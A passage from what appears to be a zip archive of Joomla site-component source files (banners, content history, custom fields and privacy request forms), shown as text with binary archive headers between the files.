                    ->join('LEFT', $db->quoteName('#__banner_clients', 'cl'), $db->quoteName('cl.id') . ' = ' . $db->quoteName('a.cid'))
                    ->where($db->quoteName('a.id') . ' = :id')
                    ->bind(':id', $id, ParameterType::INTEGER);

                $db->setQuery($query);

                return $db->loadObject();
            };

            try {
                $this->_item = $cache->get($loader, [$id], md5(__METHOD__ . $id));
            } catch (CacheExceptionInterface $e) {
                $this->_item = $loader($id);
            }
        }

        return $this->_item;
    }

    /**
     * Get the URL for a banner
     *
     * @return  string
     *
     * @since   1.5
     */
    public function getUrl()
    {
        $item = $this->getItem();
        $url  = $item->clickurl;

        // Check for links
        if (!preg_match('#http[s]?://|index[2]?\.php#', $url)) {
            $url = "http://$url";
        }

        return $url;
    }
}
PK���\c�MDD$com_banners/src/Service/Category.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_banners
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Banners\Site\Service;

use Joomla\CMS\Categories\Categories;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Banners Component Category Tree
 *
 * @since  1.6
 */
class Category extends Categories
{
    /**
     * Constructor
     *
     * @param   array  $options  Array of options
     *
     * @since   1.6
     */
    public function __construct($options = [])
    {
        $options['table']     = '#__banners';
        $options['extension'] = 'com_banners';

        parent::__construct($options);
    }
}
PK���\����"com_banners/src/Service/Router.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_banners
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Banners\Site\Service;

use Joomla\CMS\Component\Router\RouterBase;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Routing class from com_banners
 *
 * @since  3.3
 */
class Router extends RouterBase
{
    /**
     * Build the route for the com_banners component
     *
     * @param   array  $query  An array of URL arguments
     *
     * @return  array  The URL arguments to use to assemble the subsequent URL.
     *
     * @since   3.3
     */
    public function build(&$query)
    {
        $segments = [];

        if (isset($query['task'])) {
            $segments[] = $query['task'];
            unset($query['task']);
        }

        if (isset($query['id'])) {
            $segments[] = $query['id'];
            unset($query['id']);
        }

        $total = \count($segments);

        for ($i = 0; $i < $total; $i++) {
            $segments[$i] = str_replace(':', '-', $segments[$i]);
        }

        return $segments;
    }

    /**
     * Parse the segments of a URL.
     *
     * @param   array  $segments  The segments of the URL to parse.
     *
     * @return  array  The URL attributes to be used by the application.
     *
     * @since   3.3
     */
    public function parse(&$segments)
    {
        $total = \count($segments);
        $vars  = [];

        for ($i = 0; $i < $total; $i++) {
            $segments[$i] = preg_replace('/-/', ':', $segments[$i], 1);
        }

        // View is always the first element of the array
        $count = \count($segments);

        if ($count) {
            $count--;
            $segment = array_shift($segments);

            if (\is_numeric($segment)) {
                $vars['id'] = $segment;
            } else {
                $vars['task'] = $segment;
            }
        }

        if ($count) {
            $segment = array_shift($segments);

            if (\is_numeric($segment)) {
                $vars['id'] = $segment;
            }
        }

        return $vars;
    }
}
PK���\|�$$0com_contenthistory/src/Dispatcher/Dispatcher.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_contenthistory
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Contenthistory\Site\Dispatcher;

use Joomla\CMS\Access\Exception\NotAllowed;
use Joomla\CMS\Dispatcher\ComponentDispatcher;
use Joomla\CMS\MVC\Controller\BaseController;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * ComponentDispatcher class for com_contenthistory
 *
 * @since  4.0.0
 */
class Dispatcher extends ComponentDispatcher
{
    /**
     * Load the language
     *
     * @since   4.0.0
     *
     * @return  void
     */
    protected function loadLanguage()
    {
        // Load common and local language files.
        $this->app->getLanguage()->load($this->option, JPATH_ADMINISTRATOR) ||
        $this->app->getLanguage()->load($this->option, JPATH_SITE);
    }

    /**
     * Method to check component access permission
     *
     * @since   4.0.0
     *
     * @return  void
     *
     * @throws  \Exception|NotAllowed
     */
    protected function checkAccess()
    {
        // Check the user has permission to access this component if in the backend
        if ($this->app->getIdentity()->guest) {
            throw new NotAllowed($this->app->getLanguage()->_('JERROR_ALERTNOAUTHOR'), 403);
        }
    }

    /**
     * Get a controller from the component
     *
     * @param   string  $name    Controller name
     * @param   string  $client  Optional client (like Administrator, Site etc.)
     * @param   array   $config  Optional controller config
     *
     * @return  BaseController
     *
     * @since   4.0.0
     */
    public function getController(string $name, string $client = '', array $config = []): BaseController
    {
        $config['base_path'] = JPATH_COMPONENT_ADMINISTRATOR;
        $client              = 'Administrator';

        return parent::getController($name, $client, $config);
    }
}
PK���\>��--7com_contenthistory/src/Controller/DisplayController.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_contenthistory
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Contenthistory\Site\Controller;

use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Input\Input;
use Joomla\CMS\MVC\Controller\BaseController;
use Joomla\CMS\MVC\Factory\MVCFactoryInterface;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * History manager display controller.
 *
 * @since  4.0.0
 */
class DisplayController extends BaseController
{
    /**
     * @param   array                     $config   An optional associative array of configuration settings.
     * @param   MVCFactoryInterface|null  $factory  The factory.
     * @param   CMSApplication|null       $app      The Application for the dispatcher
     * @param   ?Input                    $input    The Input object for the request
     *
     * @since   3.0
     */
    public function __construct($config = [], MVCFactoryInterface $factory = null, $app = null, $input = null)
    {
        $config['base_path'] = JPATH_COMPONENT_ADMINISTRATOR;

        parent::__construct($config, $factory, $app, $input);
    }
}
PK���\�V�com_contenthistory/index.htmlnu&1i�<!DOCTYPE html><title></title>
PK���\��^u"com_fields/forms/filter_fields.xmlnu�[���<?xml version="1.0" encoding="UTF-8"?>
<form>
	<fieldset
		name="group"
		addfieldprefix="Joomla\Component\Fields\Administrator\Field"
		>
		<field
			name="context"
			type="fieldcontexts"
			onchange="this.form.submit();"
		/>
	</fieldset>
	<fields name="filter">
		<field
			name="search"
			type="text"
			inputmode="search"
			label=""
			hint="JSEARCH_FILTER"
			class="js-stools-search-string"
		/>

		<field
			name="state"
			type="status"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_PUBLISHED</option>
		</field>

		<field
			name="group_id"
			type="fieldgroups"
			state="0,1,2"
			onchange="this.form.submit();"
			>
			<option value="">COM_FIELDS_VIEW_FIELDS_SELECT_GROUP</option>
		</field>

		<field
			name="assigned_cat_ids"
			type="category"
			onchange="this.form.submit();"
			>
			<option value="">COM_FIELDS_VIEW_FIELDS_SELECT_CATEGORY</option>
		</field>

		<field
			name="access"
			type="accesslevel"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_ACCESS</option>
		</field>

		<field
			name="language"
			type="contentlanguage"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_LANGUAGE</option>
		</field>
	</fields>

	<fields name="list">
		<field
			name="fullordering"
			type="list"
			label="JGLOBAL_SORT_BY"
			description="JGLOBAL_SORT_BY"
			statuses="*,0,1,2,-2"
			onchange="this.form.submit();"
			default="a.ordering ASC"
			validate="options"
			>
			<option value="">JGLOBAL_SORT_BY</option>
			<option value="a.ordering ASC">JGRID_HEADING_ORDERING_ASC</option>
			<option value="a.ordering DESC">JGRID_HEADING_ORDERING_DESC</option>
			<option value="a.state ASC">JSTATUS_ASC</option>
			<option value="a.state DESC">JSTATUS_DESC</option>
			<option value="a.title ASC">JGLOBAL_TITLE_ASC</option>
			<option value="a.title DESC">JGLOBAL_TITLE_DESC</option>
			<option value="a.type ASC">COM_FIELDS_VIEW_FIELDS_SORT_TYPE_ASC</option>
			<option value="a.type DESC">COM_FIELDS_VIEW_FIELDS_SORT_TYPE_DESC</option>
			<option value="g.title ASC">COM_FIELDS_VIEW_FIELDS_SORT_GROUP_ASC</option>
			<option value="g.title DESC">COM_FIELDS_VIEW_FIELDS_SORT_GROUP_DESC</option>
			<option value="a.access ASC">JGRID_HEADING_ACCESS_ASC</option>
			<option value="a.access DESC">JGRID_HEADING_ACCESS_DESC</option>
			<option value="a.language ASC" requires="multilanguage">JGRID_HEADING_LANGUAGE_ASC</option>
			<option value="a.language DESC" requires="multilanguage">JGRID_HEADING_LANGUAGE_DESC</option>
			<option value="a.id ASC">JGRID_HEADING_ID_ASC</option>
			<option value="a.id DESC">JGRID_HEADING_ID_DESC</option>
		</field>

		<field
			name="limit"
			type="limitbox"
			label="COM_FIELDS_LIST_LIMIT"
			description="COM_FIELDS_LIST_LIMIT_DESC"
			default="25"
			onchange="this.form.submit();"
		/>
	</fields>
</form>
PK���\Fm�AA$com_fields/layouts/fields/render.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_fields
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Component\Fields\Administrator\Helper\FieldsHelper;

// Check if we have all the data
if (!array_key_exists('item', $displayData) || !array_key_exists('context', $displayData)) {
    return;
}

// Setting up for display
$item = $displayData['item'];

if (!$item) {
    return;
}

$context = $displayData['context'];

if (!$context) {
    return;
}

$parts     = explode('.', $context);
$component = $parts[0];
$fields    = null;

if (array_key_exists('fields', $displayData)) {
    $fields = $displayData['fields'];
} else {
    $fields = $item->jcfields ?: FieldsHelper::getFields($context, $item, true);
}

if (empty($fields)) {
    return;
}

$output = [];

foreach ($fields as $field) {
    // If the value is empty do nothing
    if (!isset($field->value) || trim($field->value) === '') {
        continue;
    }

    $class = $field->name . ' ' . $field->params->get('render_class');
    $layout = $field->params->get('layout', 'render');
    $content = FieldsHelper::render($context, 'field.' . $layout, ['field' => $field]);

    // If the content is empty do nothing
    if (trim($content) === '') {
        continue;
    }

    $output[] = '<li class="field-entry ' . $class . '">' . $content . '</li>';
}

if (empty($output)) {
    return;
}
?>
<ul class="fields-container">
    <?php echo implode("\n", $output); ?>
</ul>
PK���\g��11#com_fields/layouts/field/render.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_fields
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

if (!array_key_exists('field', $displayData)) {
    return;
}

$field = $displayData['field'];
$label = Text::_($field->label);
$value = $field->value;
$showLabel = $field->params->get('showlabel');
$prefix = Text::plural($field->params->get('prefix'), $value);
$suffix = Text::plural($field->params->get('suffix'), $value);
$labelClass = $field->params->get('label_render_class');
$valueClass = $field->params->get('value_render_class');

if ($value == '') {
    return;
}

?>
<?php if ($showLabel == 1) : ?>
    <span class="field-label <?php echo $labelClass; ?>"><?php echo htmlentities($label, ENT_QUOTES | ENT_IGNORE, 'UTF-8'); ?>: </span>
<?php endif; ?>
<?php if ($prefix) : ?>
    <span class="field-prefix"><?php echo htmlentities($prefix, ENT_QUOTES | ENT_IGNORE, 'UTF-8'); ?></span>
<?php endif; ?>
<span class="field-value <?php echo $valueClass; ?>"><?php echo $value; ?></span>
<?php if ($suffix) : ?>
    <span class="field-suffix"><?php echo htmlentities($suffix, ENT_QUOTES | ENT_IGNORE, 'UTF-8'); ?></span>
<?php endif; ?>
PK���\�*d�/com_fields/src/Controller/DisplayController.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_fields
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Fields\Site\Controller;

use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\MVC\Factory\MVCFactoryInterface;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Base controller class for Fields Component.
 *
 * @since  3.7.0
 */
class DisplayController extends \Joomla\CMS\MVC\Controller\BaseController
{
    /**
     * @param   array                         $config   An optional associative array of configuration settings.
     *                                                  Recognized key values include 'name', 'default_task', 'model_path', and
     *                                                  'view_path' (this list is not meant to be comprehensive).
     * @param   MVCFactoryInterface|null      $factory  The factory.
     * @param   CMSApplication|null           $app      The Application for the dispatcher
     * @param   \Joomla\CMS\Input\Input|null  $input    The request's input object
     *
     * @since   3.7.0
     */
    public function __construct($config = [], MVCFactoryInterface $factory = null, $app = null, $input = null)
    {
        // Frontpage Editor Fields Button proxying.
        if ($input->get('view') === 'fields' && $input->get('layout') === 'modal') {
            // Load the backend language file.
            $app->getLanguage()->load('com_fields', JPATH_ADMINISTRATOR);

            $config['base_path'] = JPATH_COMPONENT_ADMINISTRATOR;
        }

        parent::__construct($config, $factory, $app, $input);
    }
}
PK���\]μ!��(com_fields/src/Dispatcher/Dispatcher.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_fields
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Fields\Site\Dispatcher;

use Joomla\CMS\Access\Exception\NotAllowed;
use Joomla\CMS\Dispatcher\ComponentDispatcher;
use Joomla\Component\Fields\Administrator\Helper\FieldsHelper;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * ComponentDispatcher class for com_fields
 *
 * @since  4.0.0
 */
class Dispatcher extends ComponentDispatcher
{
    /**
     * Method to check component access permission
     *
     * @return  void
     *
     * @since   4.0.0
     */
    protected function checkAccess()
    {
        parent::checkAccess();

        if ($this->input->get('view') !== 'fields' || $this->input->get('layout') !== 'modal') {
            return;
        }

        $context = $this->app->getUserStateFromRequest('com_fields.fields.context', 'context', 'com_content.article', 'CMD');
        $parts   = FieldsHelper::extract($context);

        if (
            !$this->app->getIdentity()->authorise('core.create', $parts[0])
            || !$this->app->getIdentity()->authorise('core.edit', $parts[0])
        ) {
            throw new NotAllowed($this->app->getLanguage()->_('JERROR_ALERTNOAUTHOR'));
        }
    }
}
PK���\��7oocom_privacy/forms/confirm.xmlnu�[���<?xml version="1.0" encoding="UTF-8"?>
<form>
	<fieldset name="default" label="COM_PRIVACY_CONFIRM_REQUEST_FIELDSET_LABEL">
		<field
			name="confirm_token"
			type="text"
			label="COM_PRIVACY_FIELD_CONFIRM_CONFIRM_TOKEN_LABEL"
			description="COM_PRIVACY_FIELD_CONFIRM_CONFIRM_TOKEN_DESC"
			filter="alnum"
			required="true"
			size="32"
		/>
	</fieldset>
</form>
PK���\d����com_privacy/forms/request.xmlnu�[���<?xml version="1.0" encoding="UTF-8"?>
<form>
	<fieldset name="default">
		<field
			name="request_type"
			type="list"
			label="COM_PRIVACY_FIELD_REQUEST_TYPE_LABEL"
			description="COM_PRIVACY_FIELD_REQUEST_TYPE_DESC"
			filter="string"
			default="export"
			validate="options"
			>
			<option value="export">COM_PRIVACY_REQUEST_TYPE_EXPORT</option>
			<option value="remove">COM_PRIVACY_REQUEST_TYPE_REMOVE</option>
		</field>
	</fieldset>
</form>
PK���\�w��com_privacy/forms/remind.xmlnu�[���<?xml version="1.0" encoding="UTF-8"?>
<form>
	<fieldset name="default" label="COM_PRIVACY_REMIND_REQUEST_FIELDSET_LABEL">
		<field
			name="email"
			type="text"
			label="JGLOBAL_EMAIL"
			description="COM_PRIVACY_FIELD_CONFIRM_EMAIL_DESC"
			validate="email"
			required="true"
			size="30"
		/>

		<field
			name="remind_token"
			type="text"
			label="COM_PRIVACY_FIELD_REMIND_CONFIRM_TOKEN_LABEL"
			description="COM_PRIVACY_FIELD_REMIND_CONFIRM_TOKEN_DESC"
			filter="alnum"
			required="true"
			size="32"
		/>
	</fieldset>
</form>
PK���\.�!��$com_privacy/tmpl/confirm/default.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_privacy
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

/** @var \Joomla\Component\Privacy\Site\View\Confirm\HtmlView $this */

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('keepalive')
    ->useScript('form.validate');

?>
<div class="request-confirm<?php echo $this->pageclass_sfx; ?>">
    <?php if ($this->params->get('show_page_heading')) : ?>
        <div class="page-header">
            <h1>
                <?php echo $this->escape($this->params->get('page_heading')); ?>
            </h1>
        </div>
    <?php endif; ?>
    <form action="<?php echo Route::_('index.php?option=com_privacy&task=request.confirm'); ?>" method="post" class="form-validate form-horizontal well">
        <?php foreach ($this->form->getFieldsets() as $fieldset) : ?>
            <fieldset>
                <?php if (!empty($fieldset->label)) : ?>
                    <legend><?php echo Text::_($fieldset->label); ?></legend>
                <?php endif; ?>
                <?php echo $this->form->renderFieldset($fieldset->name); ?>
            </fieldset>
        <?php endforeach; ?>
        <div class="control-group">
            <div class="controls">
                <button type="submit" class="btn btn-primary validate">
                    <?php echo Text::_('JSUBMIT'); ?>
                </button>
            </div>
        </div>
        <?php echo HTMLHelper::_('form.token'); ?>
    </form>
</div>
PK���\�+��22$com_privacy/tmpl/confirm/default.xmlnu�[���<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_PRIVACY_CONFIRM_VIEW_DEFAULT_TITLE" option="COM_PRIVACY_CONFIRM_VIEW_DEFAULT_OPTION">
		<help
			key="Menu_Item:_Confirm_Request"
		/>
		<message>
			<![CDATA[COM_PRIVACY_CONFIRM_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
PK���\*�z��$com_privacy/tmpl/request/default.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_privacy
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

/** @var \Joomla\Component\Privacy\Site\View\Request\HtmlView $this */

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('keepalive')
    ->useScript('form.validate');

?>
<div class="request-form<?php echo $this->pageclass_sfx; ?>">
    <?php if ($this->params->get('show_page_heading')) : ?>
        <div class="page-header">
            <h1>
                <?php echo $this->escape($this->params->get('page_heading')); ?>
            </h1>
        </div>
    <?php endif; ?>
    <?php if ($this->sendMailEnabled) : ?>
        <form action="<?php echo Route::_('index.php?option=com_privacy&task=request.submit'); ?>" method="post" class="form-validate form-horizontal well">
            <?php foreach ($this->form->getFieldsets() as $fieldset) : ?>
                <fieldset>
                    <?php if (!empty($fieldset->label)) : ?>
                        <legend><?php echo Text::_($fieldset->label); ?></legend>
                    <?php endif; ?>
                    <?php echo $this->form->renderFieldset($fieldset->name); ?>
                </fieldset>
            <?php endforeach; ?>
            <div class="control-group">
                <div class="controls">
                    <button type="submit" class="btn btn-primary validate">
                        <?php echo Text::_('JSUBMIT'); ?>
                    </button>
                </div>
            </div>
            <?php echo HTMLHelper::_('form.token'); ?>
        </form>
    <?php else : ?>
        <div class="alert alert-warning">
            <span class="icon-exclamation-circle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('WARNING'); ?></span>
            <?php echo Text::_('COM_PRIVACY_WARNING_CANNOT_CREATE_REQUEST_WHEN_SENDMAIL_DISABLED'); ?>
        </div>
    <?php endif; ?>
</div>
PK���\g��>11$com_privacy/tmpl/request/default.xmlnu�[���<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_PRIVACY_REQUEST_VIEW_DEFAULT_TITLE" option="COM_PRIVACY_REQUEST_VIEW_DEFAULT_OPTION">
		<help
			key="Menu_Item:_Create_Request"
		/>
		<message>
			<![CDATA[COM_PRIVACY_REQUEST_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
PK���\���;��#com_privacy/tmpl/remind/default.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_privacy
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

/** @var \Joomla\Component\Privacy\Site\View\Remind\HtmlView $this */

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('keepalive')
    ->useScript('form.validate');

?>
<div class="remind-confirm<?php echo $this->pageclass_sfx; ?>">
    <?php if ($this->params->get('show_page_heading')) : ?>
        <div class="page-header">
            <h1>
                <?php echo $this->escape($this->params->get('page_heading')); ?>
            </h1>
        </div>
    <?php endif; ?>
    <form action="<?php echo Route::_('index.php?option=com_privacy&task=request.remind'); ?>" method="post" class="form-validate form-horizontal well">
        <?php foreach ($this->form->getFieldsets() as $fieldset) : ?>
            <fieldset>
                <?php if (!empty($fieldset->label)) : ?>
                    <legend><?php echo Text::_($fieldset->label); ?></legend>
                <?php endif; ?>
                <?php echo $this->form->renderFieldset($fieldset->name); ?>
            </fieldset>
        <?php endforeach; ?>
        <div class="control-group">
            <div class="controls">
                <button type="submit" class="btn btn-primary validate">
                    <?php echo Text::_('JSUBMIT'); ?>
                </button>
            </div>
        </div>
        <?php echo HTMLHelper::_('form.token'); ?>
    </form>
</div>
PK���\�m�..#com_privacy/tmpl/remind/default.xmlnu�[���<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_PRIVACY_REMIND_VIEW_DEFAULT_TITLE" option="COM_PRIVACY_REMIND_VIEW_DEFAULT_OPTION">
		<help
			key="Menu_Item:_Extend_Consent"
		/>
		<message>
			<![CDATA[COM_PRIVACY_REMIND_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
PK���\���**0com_privacy/src/Controller/DisplayController.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_privacy
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Privacy\Site\Controller;

use Joomla\CMS\MVC\Controller\BaseController;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Privacy Controller
 *
 * @since  3.9.0
 */
class DisplayController extends BaseController
{
    /**
     * Method to display a view.
     *
     * @param   boolean  $cachable   If true, the view output will be cached
     * @param   array    $urlparams  An array of safe URL parameters and their variable types.
     *                   @see        \Joomla\CMS\Filter\InputFilter::clean() for valid values.
     *
     * @return  $this
     *
     * @since   3.9.0
     */
    public function display($cachable = false, $urlparams = [])
    {
        $view = $this->input->get('view', $this->default_view);

        // Set a Referrer-Policy header for views which require it
        if (in_array($view, ['confirm', 'remind'])) {
            $this->app->setHeader('Referrer-Policy', 'no-referrer', true);
        }

        return parent::display($cachable, $urlparams);
    }
}
PK���\���{��0com_privacy/src/Controller/RequestController.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_privacy
 *
 * @copyright   (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Privacy\Site\Controller;

use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Controller\BaseController;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Uri\Uri;
use Joomla\Component\Privacy\Site\Model\ConfirmModel;
use Joomla\Component\Privacy\Site\Model\RequestModel;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Request action controller class.
 *
 * @since  3.9.0
 */
class RequestController extends BaseController
{
    /**
     * Method to confirm the information request.
     *
     * @return  boolean
     *
     * @since   3.9.0
     */
    public function confirm()
    {
        // Check the request token.
        $this->checkToken('post');

        /** @var ConfirmModel $model */
        $model = $this->getModel('Confirm', 'Site');
        $data  = $this->input->post->get('jform', [], 'array');

        $return = $model->confirmRequest($data);

        // Check for a hard error.
        if ($return instanceof \Exception) {
            // Get the error message to display.
            if ($this->app->get('error_reporting')) {
                $message = $return->getMessage();
            } else {
                $message = Text::_('COM_PRIVACY_ERROR_CONFIRMING_REQUEST');
            }

            // Go back to the confirm form.
            $this->setRedirect(Route::_('index.php?option=com_privacy&view=confirm', false), $message, 'error');

            return false;
        } elseif ($return === false) {
            // Confirm failed.
            // Go back to the confirm form.
            $message = Text::sprintf('COM_PRIVACY_ERROR_CONFIRMING_REQUEST_FAILED', $model->getError());
            $this->setRedirect(Route::_('index.php?option=com_privacy&view=confirm', false), $message, 'notice');

            return false;
        } else {
            // Confirm succeeded.
            $this->setRedirect(Route::_(Uri::root()), Text::_('COM_PRIVACY_CONFIRM_REQUEST_SUCCEEDED'), 'info');

            return true;
        }
    }

    /**
     * Method to submit an information request.
     *
     * @return  boolean
     *
     * @since   3.9.0
     */
    public function submit()
    {
        // Check the request token.
        $this->checkToken('post');

        /** @var RequestModel $model */
        $model = $this->getModel('Request', 'Site');
        $data  = $this->input->post->get('jform', [], 'array');

        $return = $model->createRequest($data);

        // Check for a hard error.
        if ($return instanceof \Exception) {
            // Get the error message to display.
            if ($this->app->get('error_reporting')) {
                $message = $return->getMessage();
            } else {
                $message = Text::_('COM_PRIVACY_ERROR_CREATING_REQUEST');
            }

            // Go back to the confirm form.
            $this->setRedirect(Route::_('index.php?option=com_privacy&view=request', false), $message, 'error');

            return false;
        } elseif ($return === false) {
            // Confirm failed.
            // Go back to the confirm form.
            $message = Text::sprintf('COM_PRIVACY_ERROR_CREATING_REQUEST_FAILED', $model->getError());
            $this->setRedirect(Route::_('index.php?option=com_privacy&view=request', false), $message, 'notice');

            return false;
        } else {
            // Confirm succeeded.
            $this->setRedirect(Route::_(Uri::root()), Text::_('COM_PRIVACY_CREATE_REQUEST_SUCCEEDED'), 'info');

            return true;
        }
    }

    /**
     * Method to extend the privacy consent.
     *
     * @return  boolean
     *
     * @since   3.9.0
     */
    public function remind()
    {
        // Check the request token.
        $this->checkToken('post');

        /** @var ConfirmModel $model */
        $model = $this->getModel('Remind', 'Site');
        $data  = $this->input->post->get('jform', [], 'array');

        $return = $model->remindRequest($data);

        // Check for a hard error.
        if ($return instanceof \Exception) {
            // Get the error message to display.
            if ($this->app->get('error_reporting')) {
                $message = $return->getMessage();
            } else {
                $message = Text::_('COM_PRIVACY_ERROR_REMIND_REQUEST');
            }

            // Go back to the confirm form.
            $this->setRedirect(Route::_('index.php?option=com_privacy&view=remind', false), $message, 'error');

            return false;
        } elseif ($return === false) {
            // Confirm failed.
            // Go back to the confirm form.
            $message = Text::sprintf('COM_PRIVACY_ERROR_CONFIRMING_REMIND_FAILED', $model->getError());
            $this->setRedirect(Route::_('index.php?option=com_privacy&view=remind', false), $message, 'notice');

            return false;
        } else {
            // Confirm succeeded.
            $this->setRedirect(Route::_(Uri::root()), Text::_('COM_PRIVACY_CONFIRM_REMIND_SUCCEEDED'), 'info');

            return true;
        }
    }
}
PK���\�W�66(com_privacy/src/View/Remind/HtmlView.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_privacy
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Privacy\Site\View\Remind;

use Joomla\CMS\Factory;
use Joomla\CMS\Form\Form;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\View\GenericDataException;
use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView;
use Joomla\CMS\Object\CMSObject;
use Joomla\Registry\Registry;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Remind confirmation view class
 *
 * @since  3.9.0
 */
class HtmlView extends BaseHtmlView
{
    /**
     * The form object
     *
     * @var    Form
     * @since  3.9.0
     */
    protected $form;

    /**
     * The CSS class suffix to append to the view container
     *
     * @var    string
     * @since  3.9.0
     */
    protected $pageclass_sfx;

    /**
     * The view parameters
     *
     * @var    Registry
     * @since  3.9.0
     */
    protected $params;

    /**
     * The state information
     *
     * @var    CMSObject
     * @since  3.9.0
     */
    protected $state;

    /**
     * Execute and display a template script.
     *
     * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
     *
     * @return  void
     *
     * @see     BaseHtmlView::loadTemplate()
     * @since   3.9.0
     * @throws  \Exception
     */
    public function display($tpl = null)
    {
        // Initialise variables.
        $this->form   = $this->get('Form');
        $this->state  = $this->get('State');
        $this->params = $this->state->params;

        // Check for errors.
        if (count($errors = $this->get('Errors'))) {
            throw new GenericDataException(implode("\n", $errors), 500);
        }

        // Escape strings for HTML output
